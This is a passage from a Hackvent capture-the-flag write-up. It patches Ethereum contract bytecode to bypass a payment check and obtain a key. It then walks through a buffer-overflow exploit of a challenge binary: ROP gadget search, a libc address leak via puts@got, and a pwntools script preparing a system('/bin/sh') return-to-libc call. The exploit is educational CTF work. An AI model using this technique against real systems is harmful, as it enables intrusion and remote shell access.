What information can we get how this key was created? Going back to the wallet’s main page we can select Contract Code:

In the lower window we can see the contract code. This code is executed on the input data and generates the 4 x 32-byte values of the output. So we just have to input our nickname according to the challenge description, run the code with this input and get our decryption key. Sounds easy. Theoretically.

I used quite a lot of time to google things up. I learned that the contract codes are interpreted by a virtual machine called Ethereum Virtual Machine (EVM). Thus I searched for different implementation which can execute evm bytecode.

After a while I stumbled upon go-ethereum which can be downloaded here: https://ethereum.github.io/go-ethereum/downloads/. The archive Geth & Tools 1.7.3 contains the tool evm:

user@host:~$ ./evm
evm [global options] command [command options] [arguments...]

VERSION:
   1.7.3-stable-4bb3c89d

COMMANDS:
   compile    compiles easm source to evm binary
   disasm     disassembles evm binary
   run        run arbitrary evm binary
   statetest  executes the given state tests
   help       Shows a list of commands or help for one command
   
GLOBAL OPTIONS:
   --create            indicates the action should be create rather than call
   --debug             output full trace logs
   --verbosity value   sets the verbosity level (default: 0)
   --code value        EVM code
   --codefile value    File containing EVM code. If '-' is specified, code is read from stdin
   --gas value         gas limit for the evm (default: 10000000000)
   --price "0"         price set for the evm
   --value "0"         value set for the evm
   --dump              dumps the state after the run
   --input value       input for the EVM
   --nogasmetering     disable gas metering
   --memprofile value  creates a memory profile at the given path
   --cpuprofile value  creates a CPU profile at the given path
   --statdump          displays stack and heap memory information
   --prestate value    JSON file with prestate (genesis) config
   --json              output trace logs in machine readable format (json)
   --sender value      The transaction origin
   --receiver value    The transaction receiver (execution context)
   --nomemory          disable memory output
   --nostack           disable stack output
   --help, -h          show help
   --version, -v       print the version

In order to run the bytecode from the contract I saved the code in a textfile:

user@host:~$ cat bytecode.txt
6060604052600436106100405763ffffffff7c010000000000000000000 ...

As the input I converted my nickname "scryh" to ASCII: 7363727968.

After looking up how to correctly call the tool I finally entered:

user@host:~$ ./evm --input 7363727968 --debug --codefile bytecode.txt run
#### TRACE ####
PUSH1           pc=00000000 gas=10000000000 cost=3

PUSH1           pc=00000002 gas=9999999997 cost=3
Stack:
00000000  0000000000000000000000000000000000000000000000000000000000000060

MSTORE          pc=00000004 gas=9999999994 cost=12
Stack:
00000000  0000000000000000000000000000000000000000000000000000000000000040
00000001  0000000000000000000000000000000000000000000000000000000000000060
Memory:
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

PUSH1           pc=00000005 gas=9999999982 cost=3
Memory:
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|

CALLDATASIZE    pc=00000007 gas=9999999979 cost=2
Stack:
00000000  0000000000000000000000000000000000000000000000000000000000000004
Memory:
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|

...

JUMPDEST        pc=00000338 gas=9999999897 cost=1
Stack:
00000000  0000000000000000000000000000000000000000000000000000000073637279
Memory:
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|

STOP            pc=00000339 gas=9999999896 cost=0
Stack:
00000000  0000000000000000000000000000000000000000000000000000000073637279
Memory:
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|

#### LOGS ####
0x

Hm, doesn’t look like a decryption key. Something must go wrong here.

Because I had some trouble running the bytecode I analyzed it a little bit in order to roughly understand what it is doing. On the wallet’s main page shown above the bytecode can also be displayed as assembler instructions (Switch To Opcodes View). When I analyzed the instructions the following section looked suspicious:

...
PUSH7 0x2386f26fc10000
CALLVALUE
LT
PUSH2 0x0152
JUMPI
...

The meaning of the instructions can be looked up here: https://ethereum.github.io/yellowpaper/paper.pdf (page 23 ff).

The first instruction pushes the value 0x2386f26fc10000 on the stack. The instruction CALLVALUE is defined as the following: Get deposited value by the instruction/transaction responsible for this execution. Thus it puts the deposited value on the stack which is then compared to the formerly pushed value by the third instruction: LT. If the callvalue is less than 0x2386f26fc10000 the following JUMPI to 0x0512 is taken.

These instructions can also be found in the output of evm (the memory is cut from the output):

...
PUSH7           pc=00000065 gas=9999999918 cost=3
Stack:
00000000  0000000000000000000000000000000000000000000000000000000073637279

CALLVALUE       pc=00000073 gas=9999999915 cost=2
Stack:
00000000  000000000000000000000000000000000000000000000000002386f26fc10000
00000001  0000000000000000000000000000000000000000000000000000000073637279

LT              pc=00000074 gas=9999999913 cost=3
Stack:
00000000  0000000000000000000000000000000000000000000000000000000000000000
00000001  000000000000000000000000000000000000000000000000002386f26fc10000
00000002  0000000000000000000000000000000000000000000000000000000073637279

PUSH2           pc=00000075 gas=9999999910 cost=3
Stack:
00000000  0000000000000000000000000000000000000000000000000000000000000001
00000001  0000000000000000000000000000000000000000000000000000000073637279

JUMPI           pc=00000078 gas=9999999907 cost=10
Stack:
00000000  0000000000000000000000000000000000000000000000000000000000000152
00000001  0000000000000000000000000000000000000000000000000000000000000001
00000002  0000000000000000000000000000000000000000000000000000000073637279

JUMPDEST        pc=00000338 gas=9999999897 cost=1
Stack:
00000000  0000000000000000000000000000000000000000000000000000000073637279

The relevant parts are highlighted. The CALLVALUE instruction pushes 0 on the stack (line 13). Thus the less-than-comparison results in true = 1 (line 19). Because of that the JUMPI is taken and the pc proceeds at 338 = 0x152 (line 28).

Let’s patch the bytecode in order to prevent the jump from being taken. A quite easy way is just to adjust the value pushed on the stack. I changed it from 0x2386f26fc10000 to 0x00000000000000. By doing so, the less-than-comparison result in false = 0 and the jump is not taken.

user@host:~$ tail -c 850 bytecode.txt | head -c 100
00000600035041663ea8796348114610154575b662386f26fc100003410610152577fec29ee18c83562d4f2e0ce62e388297

user@host:~$ tail -c 850 bytecode_patched.txt | head -c 100
00000600035041663ea8796348114610154575b66000000000000003410610152577fec29ee18c83562d4f2e0ce62e388297

Rerun evm with the patched bytecode:

user@host:~$ ./evm --input 7363727968 --debug --codefile bytecode_patched.txt run
#### TRACE ####
PUSH1           pc=00000000 gas=10000000000 cost=3

PUSH1           pc=00000002 gas=9999999997 cost=3
Stack:
00000000  0000000000000000000000000000000000000000000000000000000000000060

MSTORE          pc=00000004 gas=9999999994 cost=12
Stack:
00000000  0000000000000000000000000000000000000000000000000000000000000040
00000001  0000000000000000000000000000000000000000000000000000000000000060
Memory:
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

...

STOP            pc=00000339 gas=9999997036 cost=0
Stack:
00000000  0000000000000000000000000000000000000000000000000000000073637279
Memory:
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 60  |...............`|
00000060  23 10 9b 1a 4c 08 bd 64  c3 41 10 39 54 06 e5 f4  |#...L..d.A.9T...|
00000070  dc 8e 1b fd 87 3e f3 98  2a 23 b7 83 55 03 25 b2  |.....>..*#..U.%.|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 11  |................|
000000c0  59 6f 75 72 20 6b 65 79  20 69 73 20 68 65 72 65  |Your key is here|
000000d0  2e 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

#### LOGS ####
LOG1: 0000000000000000000000007265636569766572 bn=0 txi=0
00000000  ec29ee18c83562d4f2e0ce62e38829741c2901da844c015385a94d8c9f03d486
00000000  23 10 9b 1a 4c 08 bd 64  c3 41 10 39 54 06 e5 f4  |#...L..d.A.9T...|
00000010  dc 8e 1b fd 87 3e f3 98  2a 23 b7 83 55 03 25 b2  |.....>..*#..U.%.|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 11  |................|
00000060  59 6f 75 72 20 6b 65 79  20 69 73 20 68 65 72 65  |Your key is here|
00000070  2e 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

Here we go!

My decryption key is 23109b1a4c08bd64c34110395406e5f4dc8e1bfd873ef3982a23b783550325b2.


Day 21: tamagotchi


Author: muffinX
ohai fuud or gtfo
ohai

I’m a little tamagotchi who wants fuuuuud, pls don’t giveh me too much or I’ll crash…

nc challenges.hackvent.hacking-lab.com 31337
File #1: tamagotchi
File #2: libc-2.26.so

Let’s start by checking out what the tamagotchi does:

user@host:~$ chmod 755 tamagotchi
user@host:~$ ./tamagotchi
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°  TAMAGOTCHI   ¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸

                __O__
              .'     '.
            .'         '.
           .  _________  .
           : |   .-.   | :
          :  |  ( - )  |  :      - ohai! pls food!
          :  |   " "   |  :
          :  |_________|  :
           |             |
           '   O     O   '
            ',    O    ,'
              '.......        | simple challenge by muffinx (twitter.com/muffiniks)

[MENU]
1.) eat
2.) bye
[ch01c3]> 
1
[f00d]> 
foooood
[+] nom nom nom 
[ch01c3]> 
2
[+] bye bye

So the menu offers two functions:
1) eat
–> another prompt appears for food to enter
–> after entering some food, the tamagotchi eats our input (nom nom nom)
2) bye
–> just quit the program

According to the challenge description the tamagotchi should not get too much food or it’ll crash. Thus it’s quite obvious that there exists some kind of overflow vulnerability. Let’s have a look using radare2:

user@host:~$ r2 tamagotchi
[0x00400500]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[aav: using from to 0x400000 0x4021e8
Using vmin 0x400000 and vmax 0x601058
aav: using from to 0x400000 0x4021e8
Using vmin 0x400000 and vmax 0x601058
[x] Analyze value pointers (aav)
[can't find function prototype for sym.show_titlem.func.* functions (aan)
can't find function prototype for sym.show_menu
can't find function prototype for sym._init
can't find function prototype for sub.__gmon_start___248_4f0
Deinitialized mem.0x100000_0xf0000
[x] Type matching analysis for all functions
[x] Type matching analysis for all functions
0x0
...
[0x00400500]> afl
0x00400478    3 26           sym._init
0x004004b0    2 16   -> 32   sym.imp.puts
0x004004c0    2 16   -> 48   sym.imp.__libc_start_main
0x004004d0    2 16   -> 48   sym.imp.fgets
0x004004e0    2 16   -> 48   sym.imp.atoi
0x004004f0    1 16           sub.__gmon_start___248_4f0
0x00400500    1 41           entry0
0x00400530    4 50   -> 41   sym.deregister_tm_clones
0x00400570    3 53           sym.register_tm_clones
0x004005b0    3 28           sym.__do_global_dtors_aux
0x004005d0    4 38   -> 35   sym.frame_dummy
0x004005f6    1 176          sym.show_title
0x004006a6    1 36           sym.show_menu
0x004006ca    8 212          sym.main
0x004007a0    4 101          sym.__libc_csu_init
0x00400810    1 2            sym.__libc_csu_fini
0x00400814    1 9            sym._fini
[0x00400500]> pdf @ sym.main 
            ;-- main:
/ (fcn) sym.main 212
|   sym.main ();
|           ; var int local_4d0h @ rbp-0x4d0
|           ; var int local_d0h @ rbp-0xd0
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|           ; DATA XREF from 0x0040051d (entry0)
|           0x004006ca      55             push rbp
|           0x004006cb      4889e5         mov rbp, rsp
|           0x004006ce      4881ecd00400.  sub rsp, 0x4d0
|           0x004006d5      c745fc010000.  mov dword [rbp - local_4h], 1
|           0x004006dc      c745f8000000.  mov dword [rbp - local_8h], 0
|           0x004006e3      b800000000     mov eax, 0
|           0x004006e8      e809ffffff     call sym.show_title
|           0x004006ed      b800000000     mov eax, 0
|           0x004006f2      e8afffffff     call sym.show_menu
|       ,=< 0x004006f7      e996000000     jmp 0x400792
|      .--> 0x004006fc      bf630a4000     mov edi, str._ch01c3__      ; "[ch01c3]> " @ 0x400a63 ; const char * s
|      ||   0x00400701      e8aafdffff     call sym.imp.puts          ; int puts(const char *s);
|      ||   0x00400706      488b153b0920.  mov rdx, qword [obj.stdin]  ; [0x601048:8]=0x654428203a434347 rdx LEA loc.stdin ; ...
|      ||   0x0040070d      488d8530fbff.  lea rax, qword [rbp - local_4d0h]
|      ||   0x00400714      be00040000     mov esi, 0x400              ; int size
|      ||   0x00400719      4889c7         mov rdi, rax                ; char *s
|      ||   0x0040071c      e8affdffff     call sym.imp.fgets         ; char *fgets(char *s, int size, FILE *stream);
|      ||   0x00400721      488d8530fbff.  lea rax, qword [rbp - local_4d0h]
|      ||   0x00400728      4889c7         mov rdi, rax                ; const char * str
|      ||   0x0040072b      b800000000     mov eax, 0
|      ||   0x00400730      e8abfdffff     call sym.imp.atoi          ; int atoi(const char *str);
|      ||   0x00400735      8945f8         mov dword [rbp - local_8h], eax
|      ||   0x00400738      837df801       cmp dword [rbp - local_8h], 1 ; [0x1:4]=0x2464c45
|     ,===< 0x0040073c      7531           jne 0x40076f
|     |||   0x0040073e      bf6e0a4000     mov edi, str._f00d__        ; "[f00d]> " @ 0x400a6e
|     |||   0x00400743      e868fdffff     call sym.imp.puts          ; int puts(const char *s);
|     |||   0x00400748      488b15f90820.  mov rdx, qword [obj.stdin]  ; [0x601048:8]=0x654428203a434347 rdx LEA loc.stdin ; ...
|     |||   0x0040074f      488d8530ffff.  lea rax, qword [rbp - local_d0h]
|     |||   0x00400756      be00040000     mov esi, 0x400
|     |||   0x0040075b      4889c7         mov rdi, rax
|     |||   0x0040075e      e86dfdffff     call sym.imp.fgets         ; char *fgets(char *s, int size, FILE *stream);
|     |||   0x00400763      bf770a4000     mov edi, str.____nom_nom_nom ; "[+] nom nom nom " @ 0x400a77
|     |||   0x00400768      e843fdffff     call sym.imp.puts          ; int puts(const char *s);
|    ,====< 0x0040076d      eb23           jmp 0x400792
|    |`---> 0x0040076f      837df802       cmp dword [rbp - local_8h], 2 ; [0x2:4]=0x102464c
|    |,===< 0x00400773      7513           jne 0x400788
|    ||||   0x00400775      bf880a4000     mov edi, str.____bye_bye    ; "[+] bye bye" @ 0x400a88
|    ||||   0x0040077a      e831fdffff     call sym.imp.puts          ; int puts(const char *s);
|    ||||   0x0040077f      c745fc000000.  mov dword [rbp - local_4h], 0
|   ,=====< 0x00400786      eb0a           jmp 0x400792
|   ||`---> 0x00400788      bf940a4000     mov edi, str.____nope_      ; "[-] nope!" @ 0x400a94 ; const char * s
|   || ||   0x0040078d      e81efdffff     call sym.imp.puts          ; int puts(const char *s);
|   || ||   ; JMP XREF from 0x004006f7 (sym.main)
|   || ||   ; JMP XREF from 0x00400786 (sym.main)
|   || ||   ; JMP XREF from 0x0040076d (sym.main)
|   ``--`-> 0x00400792      837dfc00       cmp dword [rbp - local_4h], 0
|      `==< 0x00400796      0f8560ffffff   jne 0x4006fc
|           0x0040079c      c9             leave
\           0x0040079d      c3             ret
[0x00400500]> 

The relevant parts are highlighted:

The first call to fgets (line 65) will succeed without any errors. The maximum size to read passed to fgets is 0x400 (esi at 0x00400714 on line 63) and the buffer used is also 0x400 bytes long ([rbp - local_4d0h]). No overflow here.

The second call to fgets (line 79) right after the prompt for food (puts on line 74) also passes a maximum size of 0x400 bytes (esi at 0x00400756 on line 77). But this time the used buffer ([rbp - local_d0h]) is not 0x400 bytes long! As we can see at the top where the local variables are declared the next variable after [rbp - local_d0h] is [rbp - local_8h] (lines 45-46). This means that the buffer used is only 0xd0 - 0x8 = 0xc8 = 200 bytes long! If we feed more food to the tamagotchi we can cause a bufferoverflow and overwrite the return-address on the stack.

Before doing this we need some additional information. The kind of exploit we will use depends on the security mechanisms that are enabled. In radare2 we can use the command iI to get detailed information about the current file:

[0x00400500]> iI
type     EXEC (Executable file)
file     tamagotchi
fd       6
size     0x21e8
iorw     false
blksz    0x0
mode     -r--
block    0x100
format   elf64
havecode true
pic      false
canary   false
nx       true
crypto   false
va       true
intrp    /lib64/ld-linux-x86-64.so.2
bintype  elf
class    ELF64
lang     c
arch     x86
bits     64
machine  AMD x86-64 architecture
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped false
static   false
linenum  true
lsyms    true
relocs   true
rpath    NONE
binsz    6696

Along with other information we can see that NX is enabled. This means that memory regions like the stack are marked as non-executable. In a simple bufferoverflow exploit we would put some shellcode within our injected buffer and than make the return address point to that shellcode. With NX enabled the CPU wouldn’t execute our shellcode because it resides in a memory region marked as non-executable. Thus this kind of exploit fails.

In order to exploit the bufferoverflow anyway we can use a technique called return to libc. This technique takes advantage of the fact, that nearly all programs make use of libraries like the standard c library libc. Libraries used by the program are mapped to the memory space of the program. These memory regions must be executed and thus cannot be marked as non-executable. If we find a function or part of a function in a library we could use, we can just set the return address to this address instead of a self injected shellcode. As we usually want to get a shell the libc-function system(const char *cmd) with the argument "/bin/sh" will do.

Ok, let’s get to work and start by identifying the offset to the return address we want to overwrite. We can do this by creating a pattern with metasploit and feed this pattern to the tamagotchi. When the next return instruction is reached, the return address has been overwritten with our pattern and we can see at which position of the pattern the return address is. This way we can calculate the offset.

Another thing to notice here (see radare2 disassembly above): the return instruction at 0x0040079d is only reached, when we leave the program. Thus we have to feed the tamagotchi and then chose 2 (bye) in the menu in order to reach the return instruction.

Let’s create a pattern (our buffer is 200 bytes long, so 250 bytes should suffice):

user@host:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7 ... Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A

Now I used gdb to feed the tamagotchi and inspect the return address:

user@host:~$ gdb tamagotchi
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from tamagotchi...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004006ca <+0>:	push   rbp
   0x00000000004006cb <+1>:	mov    rbp,rsp
   0x00000000004006ce <+4>:	sub    rsp,0x4d0
   ...
   0x000000000040078d <+195>:	call   0x4004b0 
   0x0000000000400792 <+200>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x0000000000400796 <+204>:	jne    0x4006fc 
   0x000000000040079c <+210>:	leave  
   0x000000000040079d <+211>:	ret    
End of assembler dump.
gdb) b *main+211
Breakpoint 1 at 0x40079d

I started gdb with the binary, set my favorite disassembly-layout (intel), disassembled the main-function and then set a breakpoint to the return-instruction at main+211.

Now we can run the program and feed the tamagotchi with our pattern:

gdb) r
Starting program: /root/Downloads/tamagotchi 
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°  TAMAGOTCHI   ¸¸,ø¤º°`°º¤ø,¸
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸

                __O__
              .'     '.
            .'         '.
           .  _________  .
           : |   .-.   | :
          :  |  ( - )  |  :      - ohai! pls food!
          :  |   " "   |  :
          :  |_________|  :
           |             |
           '   O     O   '
            ',    O    ,'
              '.......        | simple challenge by muffinx (twitter.com/muffiniks)

[MENU]
1.) eat
2.) bye
[ch01c3]> 
1
[f00d]> 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7 ... Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
[+] nom nom nom 
[ch01c3]> 
2
[+] bye bye

Breakpoint 1, 0x000000000040079d in main ()
(gdb) x/xg $rsp
0x7fffffffe1c8:	0x6841336841326841
(gdb) 

When the breakpoint right at the return instruction is reached I printed the top of the stack using x/xg $rsp. The first value on the stack is 0x6841336841326841. This is the return address we have overwritten. Now we only have to calculate the offset:

user@host:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 250 -q 6841336841326841
[*] Exact match at offset 216

There it is. Now we know where to put the return address. But what return address should we put there?

Because we have the libc-library which is used on the server (see File #2: libc-2.26.so) we can calculate the offset the functions within the library.

From now on I used pwntools for python. In order to install pwntools on kali-linux enter the following commands:

user@host:~$ apt-get update
user@host:~$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
user@host:~$ pip install --upgrade pip
user@host:~$ pip install --upgrade pwntools

After this we can use pwntools which is very handy for tasks like this.

At first we calculate the offset of the final function we want to call: system. Also we want to pass the function the string "/bin/sh". Luckily this string resides within the libc and we can also find it using pwntools:

#!/usr/bin/python

from pwn import *

libc = ELF('libc-2.26.so')
binsh_offset  = libc.search('/bin/sh').next()
system_offset = libc.symbols["system"]

print("binsh_offset: " + hex(binsh_offset))
print("system_offset: " + hex(system_offset)

Running the script reveals the offsets:

user@host:~$ ./pwn.py
[*] '/root/Downloads/libc-2.26.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
binsh_offset: 0x1a3ee0
system_offset: 0x47dc0

Now we have got the offset to the target function and the string we want to pass. What else is missing? The actual address in the memory address of the program. Because a library is not always mapped to the same memory region we need to know the base address of the libc mapped to the program’s memory space.

If we have the absolute address of only one function within the libc we could look up its offset and subtract this from the absolute address resulting in the base address of the libc.

We will use the function puts which is already used by the program. Because of that the absolute address of the function will be in the Global Offset Table (GOT). If we call puts with the address of the puts GOT-entry the absolute address of the function will be printed. More on PLT/GOT is explained here: https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html.

We can yet again use radare2 to get the necessary addresses:

[0x00400500]> pdf @ sym.imp.puts 
/ (fcn) sym.imp.puts 32
|   sym.imp.puts ();
|       |   ; XREFS: CALL 0x00400701  CALL 0x0040078d  CALL 0x0040077a  CALL 0x00400743  CALL 0x00400768  CALL 0x004005ff  CALL 0x00400609  
|       |   ; XREFS: CALL 0x00400613  CALL 0x0040061d  CALL 0x00400627  CALL 0x00400631  CALL 0x0040063b  CALL 0x00400645  CALL 0x0040064f  
|       |   ; XREFS: CALL 0x00400659  CALL 0x00400663  CALL 0x0040066d  CALL 0x00400677  CALL 0x00400681  CALL 0x0040068b  CALL 0x00400695  
|       |   ; XREFS: CALL 0x0040069f  CALL 0x004006af  CALL 0x004006b9  CALL 0x004006c3  
|       |   0x004004b0      ff25620b2000   jmp qword [reloc.puts_24]   ; [0x601018:8]=0x4004b6 LEA reloc.puts_24 ; reloc.puts_24
|       |   0x004004b6      6800000000     push 0
\       `=< 0x004004bb      e9e0ffffff     jmp 0x4004a0

The puts GOT address is 0x601018 and the PLT address 0x4004b0.

There is yet another point to notice: with x86 on 32bit the function argument to libc functions were passed directly on the stack. Thus we would just have to push the address of the string "/bin/sh" on the stack. With x86_64 on 64bit the function argument is passed in the register rdi. This means that we have to put the address of the string "/bin/sh" in the register rdi. How could this be done? At this point we need return oriented programing (rop): we search for useful assembler-instructions in a library, which is loaded in the memory space of the target program (e.g libc) and end with a return instruction. These useful assembler-instructions ending with a return instruction are called rop gadgets. We can make use of them by pushing two addresses on the stack: (1) the address of the rop-gadget and (2) the address of where we want to proceed after the execution of the rop-gadget. The CPU will first pop the address of rop-gadget and then execute the instructions of the rop-gadget until reaching the return instruction. At this point the second address we pushed on the stack will be popped and the execution proceeds at the address of our desire.

By finding a rop-gadget which will pop rdi and then return we can easily put the address of the string "/bin/sh" from the stack to the rdi register.

A rop-gadget can be found using ropper (https://github.com/sashs/Ropper):

user@host:~$ ropper --file tamagotchi --search "% ?di"
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % ?di

[INFO] File: tamagotchi
0x0000000000400695: call 0x4b0; mov edi, 0x4008b7; call 0x4b0; pop rbp; ret; 
0x00000000004006b9: call 0x4b0; mov edi, 0x400a5b; call 0x4b0; pop rbp; ret; 
0x000000000040069a: mov edi, 0x4008b7; call 0x4b0; pop rbp; ret; 
0x00000000004006be: mov edi, 0x400a5b; call 0x4b0; pop rbp; ret; 
0x0000000000400550: mov edi, 0x601048; jmp rax; 
0x00000000004006b6: or al, byte ptr [rax]; call 0x4b0; mov edi, 0x400a5b; call 0x4b0; pop rbp; ret; 
0x0000000000400692: or dword ptr [rax], eax; call 0x4b0; mov edi, 0x4008b7; call 0x4b0; pop rbp; ret; 
0x000000000040054f: pop rbp; mov edi, 0x601048; jmp rax; 
0x0000000000400803: pop rdi; ret; 

Great! At 0x400803 in the tamagotchi binary there is a rop-gadget of our needs.

Adjusted python-script (Stage1):

#!/usr/bin/python

libc = ELF('libc-2.26.so')
binsh_offset  = libc.search('/bin/sh').next()
system_offset = libc.symbols["system"]
puts_offset   = libc.symbols["puts"]

print("binsh_offset: " + hex(binsh_offset))
print("system_offset: " + hex(system_offset))
print("puts_offset: " + hex(puts_offset))


p = remote("challenges.hackvent.hacking-lab.com", 31337) 

####### STAGE 1 #######

p.recvuntil("ch01c3]>")
p.sendline("1")

p.recvuntil("f00d]>")
expl  = "A" * 216
expl += p64(0x400803)   # rop-chain: pop rdi; ret;
expl += p64(0x601018)   # puts@got
expl += p64(0x4004b0)   # call puts
expl += p64(0x004006ca) # address of sym.main
p.sendline(expl)

p.recvuntil("ch01c3]>")
p.sendline("2")

p.recvuntil("bye bye")
p.recv(1)

puts_addr = int(p.recv(6)[::-1].encode('hex'), 16)
print("puts addr: ["+hex(puts_addr)+"]")

libc_base = puts_addr - puts_offset
print("libc base: [" + hex(libc_base)+"]")

Running the script:

user@host:~$ ./pwn2.py
[*] '/user/libc-2.26.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
binsh_offset: 0x1a3ee0
system_offset: 0x47dc0
puts_offset: 0x78460
[+] Opening connection to challenges.hackvent.hacking-lab.com on port 31337: Done
puts addr: [0x7f1b3859d460]
libc base: [0x7f1b38525000]
[*] Closed connection to challenges.hackvent.hacking-lab.com port 31337

So now we have got the base address of the libc, we can easily calculate the absolute address of the system function and the argument string "/bin/sh":

...
system_addr = libc_base + system_offset
print("system addr: [" + hex(system_addr)+"]")

binsh_addr  = libc_base + binsh_offset
print("binsh addr: [" + hex(binsh_addr)+"]")

Rerunning the script gives us the absolute addresses:

...
system addr: [0x7f8fdaed3dc0]
binsh addr: [0x7f8fdb02fee0]
...

